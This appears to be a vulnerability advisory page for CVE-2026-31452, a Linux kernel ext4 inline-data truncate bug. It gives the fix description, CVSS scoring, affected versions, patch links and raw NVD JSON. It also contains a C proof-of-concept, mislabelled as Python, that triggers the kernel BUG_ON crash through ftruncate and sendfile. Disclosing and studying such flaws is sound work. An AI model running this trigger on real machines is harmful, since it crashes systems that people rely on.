CVE-2026-31452

Description

In the Linux kernel, the following vulnerability has been resolved: ext4: convert inline data to extents when truncate exceeds inline size Add a check in ext4_setattr() to convert files from inline data storage to extent-based storage when truncate() grows the file size beyond the inline capacity. This prevents the filesystem from entering an inconsistent state where the inline data flag is set but the file size exceeds what can be stored inline. Without this fix, the following sequence causes a kernel BUG_ON(): 1. Mount filesystem with inode that has inline flag set and small size 2. truncate(file, 50MB) - grows size but inline flag remains set 3. sendfile() attempts to write data 4. ext4_write_inline_data() hits BUG_ON(write_size > inline_capacity) The crash occurs because ext4_write_inline_data() expects inline storage to accommodate the write, but the actual inline capacity (~60 bytes for i_block + ~96 bytes for xattrs) is far smaller than the file size and write request. The fix checks if the new size from setattr exceeds the inode's actual inline capacity (EXT4_I(inode)->i_inline_size) and converts the file to extent-based storage before proceeding with the size change. This addresses the root cause by ensuring the inline data flag and file size remain consistent during truncate operations.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline versions prior to fix)

Linux Kernel (Stable branches prior to commits 07c1a31a, 110d7ef6, etc.)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/sendfile.h>

/*
 * PoC for CVE-2026-31452
 * Trigger: ext4 inline data truncate overflow bug
 */
int main() {
    int fd;
    int src_fd;
    off_t offset = 0;

    // Step 1: Create a file with inline data
    fd = open("poc_testfile", O_CREAT | O_RDWR | O_TRUNC, 0644);
    if (fd < 0) { perror("open"); return -1; }
    write(fd, "data", 4); // Ensure inline data
    close(fd);

    // Step 2: Truncate to size exceeding inline capacity
    fd = open("poc_testfile", O_WRONLY);
    if (fd < 0) { perror("open"); return -1; }
    printf("[+] Truncating file to 50MB...\n");
    if (ftruncate(fd, 52428800) != 0) { // 50MB
        perror("ftruncate");
        close(fd);
        return -1;
    }
    close(fd);

    // Step 3: Trigger crash via sendfile
    printf("[+] Triggering sendfile to cause BUG_ON...\n");
    src_fd = open("/etc/hostname", O_RDONLY);
    fd = open("poc_testfile", O_WRONLY);
    
    if (src_fd < 0 || fd < 0) {
        perror("open for sendfile");
        return -1;
    }

    // This should trigger the kernel BUG_ON in ext4_write_inline_data
    sendfile(fd, src_fd, &offset, 100);

    close(src_fd);
    close(fd);
    printf("[!] Exploit finished (check kernel log for crash)\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31452
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31452
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31452/
[4] VulDB https://vuldb.com/cve/CVE-2026-31452
[5] https://git.kernel.org/stable/c/07c1a31af18290054da3d18221b8bf58983c5d3a
[6] https://git.kernel.org/stable/c/110d7ef602659ce4d7947c5480f7ca2779696aaf
[7] https://git.kernel.org/stable/c/699bac4d4c951974d55b045c983d1de777215949
[8] https://git.kernel.org/stable/c/7920dcc571cef3d8aa9ee109c136125d61d41669
[9] https://git.kernel.org/stable/c/93cb2d103e5c707de0f7ad58a39b7f0fddc27aa6
[10] https://git.kernel.org/stable/c/c047332be7195833a5c5126816c2502df8269fe4
[11] https://git.kernel.org/stable/c/ed9356a30e59c7cc3198e7fc46cfedf3767b9b17
[12] https://git.kernel.org/stable/c/f53a5d9f32924bc2a810d2df243b7714da58b636

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31452", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:39.460", "lastModified": "2026-05-06T20:12:35.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: convert inline data to extents when truncate exceeds inline size\n\nAdd a check in ext4_setattr() to convert files from inline data storage\nto extent-based storage when truncate() grows the file size beyond the\ninline capacity. This prevents the filesystem from entering an\ninconsistent state where the inline data flag is set but the file size\nexceeds what can be stored inline.\n\nWithout this fix, the following sequence causes a kernel BUG_ON():\n\n1. Mount filesystem with inode that has inline flag set and small size\n2. truncate(file, 50MB) - grows size but inline flag remains set\n3. sendfile() attempts to write data\n4. ext4_write_inline_data() hits BUG_ON(write_size > inline_capacity)\n\nThe crash occurs because ext4_write_inline_data() expects inline storage\nto accommodate the write, but the actual inline capacity (~60 bytes for\ni_block + ~96 bytes for xattrs) is far smaller than the file size and\nwrite request.\n\nThe fix checks if the new size from setattr exceeds the inode's actual\ninline capacity (EXT4_I(inode)->i_inline_size) and converts the file to\nextent-based storage before proceeding with the size change.\n\nThis addresses the root cause by ensuring the inline data flag and file\nsize remain consistent during truncate operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8", "versionEndExcluding": "5.10.253", "matchCriteriaId": "75026C47-58A0-4758-8F32-8C374525DEA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07c1a31af18290054da3d18221b8bf58983c5d3a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/110d7ef602659ce4d7947c5480f7ca2779696aaf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/699bac4d4c951974d55b045c983d1de777215949", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/79 ... 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